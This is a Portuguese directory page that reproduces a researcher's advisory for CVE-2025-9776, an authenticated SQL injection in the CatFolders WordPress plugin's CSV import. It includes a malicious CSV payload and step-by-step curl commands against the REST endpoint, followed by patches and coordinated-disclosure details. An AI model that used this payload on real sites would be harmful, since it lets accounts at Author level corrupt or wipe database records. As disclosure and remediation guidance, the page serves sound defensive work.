Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-9776 — CVE-2025-9776 — Plugin CatFolders para WordPress: Injeção SQL Autenticada via Importação CSV | POC + Passo a Passo | Kitploit
Ferramentas/GitHubGitHub/snailsploit/cve-2025-9776
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e Educação
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — Plugin CatFolders para WordPress: Injeção SQL Autenticada via Importação CSV | POC + Passo a Passo

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-9776: Injeção SQL Autenticada no Plugin CatFolders WordPress

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

Palavras-chave: CVE-2025-9776, vulnerabilidade do CatFolders WordPress, SQL injection no WordPress, SQL injection autenticada, segurança WordPress, vulnerabilidade de importação CSV, exploit de plugin WordPress, CWE-89, ataque a banco de dados WordPress, vulnerabilidade da biblioteca de mídia, WordPress CVE 2025

Tabela de Conteúdo

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Análise Técnica
  • Prova de Conceito
  • Guia de Remediação
  • Métricas CVSS
  • Referências
  • Contato de Segurança

Visão Geral

Uma vulnerabilidade de injeção SQL autenticada foi descoberta no plugin CatFolders WordPress que permite que usuários de nível Autor manipulem consultas de banco de dados por meio de importações CSV maliciosas.

Descoberto por: Kai Aizen (SnailSploit)
Publicado: 2025
Pontuação CVSS: 6.5 (Médio)
CWE: CWE-89 - Injeção SQL

Detalhes da Vulnerabilidade

Descrição

CatFolders – Domine Sua Biblioteca de Mídia WordPress por Categoria contém uma vulnerabilidade de injeção SQL autenticada na funcionalidade de importação CSV. A coluna attachments de um CSV fornecido pelo usuário é dividida em uma lista e passada diretamente para FolderModel::set_attachments() que concatena esses valores em cláusulas SQL IN (...) brutas, sem sanitização ou parametrização adequadas.

Impacto

Esta vulnerabilidade permite que atacantes autenticados com privilégios de nível Autor para:

  • Executar consultas SQL arbitrárias
  • Exclusão ou manipulação em massa de mapeamentos de anexos de pasta
  • Potencial exposição de dados dependendo do payload e da estrutura do banco de dados
  • Comprometer a integridade e disponibilidade do banco de dados

Versões Afetadas

  • Vulnerável: Todas as versões ≤ 2.5.2
  • Corrigido: Versão 2.5.3 e superiores (verificar com o fornecedor)

Métricas CVSS v3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Detalhes Técnicos

Caminho de Código Vulnerável

A vulnerabilidade existe no fluxo de trabalho de importação CSV:

Arquivo: includes/Rest/Controllers/ImportController.php

  1. O método import_csv analisa o CSV enviado sem sanitização por campo
  2. restore_folders() chama:
root@kitploit:~
FolderModel::set_attachments( 
    $new_folder['id'], 
    explode(',', $folder['attachments']), 
    false 
);

Arquivo: includes/Models/FolderModel.php

  1. set_attachments() constrói SQL bruta usando concatenação de strings:
root@kitploit:~
'raw' => 'post_id IN (' . $attachmentIds . ')'
  1. Cada elemento não é convertido para inteiro nem parametrizado, permitindo injeção SQL

Vetor de Ataque

Um atacante com privilégios de nível Autor (capacidade upload_files) pode injetar SQL malicioso através do endpoint de importação CSV:

Payload CSV malicioso:

root@kitploit:~
id,name,attachments
1,Test Folder,"1) OR 1=1--"

Consulta vulnerável resultante:

root@kitploit:~
SELECT folder_id FROM wp_catf_folder_posts 
WHERE post_id IN (1) OR 1=1--)

Isso sai da cláusula IN(...) e altera a semântica da consulta, potencialmente afetando todas as linhas.

Pré-requisitos

  • Conta de nível Autor (ou superior) no site WordPress alvo
  • Plugin CatFolders instalado e ativo
  • Acesso ao endpoint de importação da API REST

Prova de Conceito

Passo 1: Descobrir o Namespace REST

root@kitploit:~
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'

Resultado típico: /catf/v1/import-csv

Passo 2: Preparar CSV Malicioso

Crie um arquivo chamado catf_inject.csv:

root@kitploit:~
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"

Passo 3: Executar o Ataque

root@kitploit:~
NS="/catf/v1"  # Substitua pelo namespace descoberto

curl -i \
  -u 'author_user:APPLICATION_PASSWORD' \
  -F "file=@catf_inject.csv;type=text/csv" \
  -X POST "https://target.site/wp-json${NS}/import-csv"

Resposta esperada:

root@kitploit:~
{ "success": true }

Demonstração de Impacto

O servidor constrói e executa:

root@kitploit:~
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)

Isso pode realizar operações DELETE/INSERT mais amplas do que o pretendido, muitas vezes limpando os relacionamentos pasta-anexo em todo o banco de dados.

Ambiente de Teste Seguro

Execute a simulação SQLite independente para observar a vulnerabilidade com segurança:

root@kitploit:~
python3 poc/catfolders_sql_poc.py

Isso imprime a consulta vulnerável e demonstra como um token malicioso retorna todas as linhas, enquanto uma versão parametrizada o rejeita corretamente.

Remediação

Para Administradores do Site

Ação Imediata Necessária:

  1. Atualizar o CatFolders para a versão 2.5.3 ou superior
  2. Revisar contas de usuário com privilégios de nível Autor ou superior
  3. Auditar logs do banco de dados em busca de consultas suspeitas entre as datas afetadas
  4. Verificar mapeamentos de anexos de pasta para modificações inesperadas

Para Desenvolvedores

Duas etapas mínimas de endurecimento:

1. Sanitizar IDs Antes de Chamar o Model

root@kitploit:~
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }

2. Forçar Inteiros Dentro de set_attachments()

root@kitploit:~
  $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );

Recomendação Mais Forte

Substituir toda concatenação SQL bruta por consultas parametrizadas usando $wpdb->prepare() do WordPress:

root@kitploit:~
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
    "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
    ...$imgIds
);

Adicionalmente:

  • Validar estritamente todos os campos CSV antes do processamento
  • Implementar validação de tipo de entrada na camada da API
  • Adicionar limitação de taxa ao endpoint de importação
  • Registrar todas as operações de importação para trilhas de auditoria

Arquivo de Patch

Um patch completo está disponível em patch/catfolders_fix.patch

Estrutura do Repositório

root@kitploit:~
CVE-2025-9776/
├── README.md                    # Este arquivo
├── poc/
│   ├── catf_inject.csv         # Payload CSV malicioso
│   └── catfolders_sql_poc.py   # Simulação SQLite segura
└── patch/
    └── catfolders_fix.patch    # Correções recomendadas

Linha do Tempo

  • Data da Descoberta: 2025
  • Notificação ao Fornecedor: Divulgação coordenada via Wordfence
  • Divulgação Pública: 2025
  • Patch Disponível: Versão 2.5.3

Referências

  • Entrada CVE do MITRE
  • Aviso de Inteligência Wordfence
  • Diretório de Plugins WordPress
  • Pesquisa SnailSploit

Créditos

Pesquisador: Kai Aizen (SnailSploit)

Processo de Divulgação: Coordenado através do Programa de Bug Bounty da Wordfence

Considerações Éticas

⚠️ AVISO IMPORTANTE

Esta Prova de Conceito é fornecida exclusivamente para fins de pesquisa defensiva e educacional.

Diretrizes de Uso

  • ✅ FAÇA: Teste em seus próprios sistemas ou com autorização explícita por escrito
  • ✅ FAÇA: Use para treinamento e conscientização de segurança
  • ✅ FAÇA: Implemente as correções em seu próprio código
  • ❌ NÃO FAÇA: Teste contra sistemas sem permissão
  • ❌ NÃO FAÇA: Use para fins maliciosos
  • ❌ NÃO FAÇA: Explore em ambientes de produção

Aviso Legal

O acesso não autorizado a sistemas de computador é ilegal sob leis incluindo:

  • Computer Fraud and Abuse Act (CFAA) - Estados Unidos
  • Computer Misuse Act - Reino Unido
  • Legislação similar em outras jurisdições

Use por sua conta e risco. Os pesquisadores e SnailSploit não assumem responsabilidade pelo uso indevido destas informações.

Contato

Para perguntas ou informações adicionais sobre esta vulnerabilidade:

  • E-mail: [email protected]
  • LinkedIn: linkedin.com/in/kaiaizen
  • Site: snailsploit.com
  • Organização: SnailSploit Security Research

Mantenha-se seguro e mantenha suas instalações WordPress atualizadas!

Última atualização: 13 de outubro de 2025


📚 Documentação e Autor

O texto completo deste projeto, metodologia e pesquisas relacionadas estão disponíveis em:

https://snailsploit.com/security-research/cves/cve-2025-9776/

Criado por Kai Aizen — pesquisador independente de segurança ofensiva.

snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter

Mesmo ataque. Substrato diferente.

Baixar ferramenta
MétricaValor
Attack VectorNetwork (AV:N)
Attack ComplexityLow (AC:L)
Privileges RequiredLow (PR:L) - Author+
User InteractionNone (UI:N)
ScopeUnchanged (S:U)
ConfidentialityNone (C:N)
IntegrityLow (I:L)
AvailabilityLow (A:L)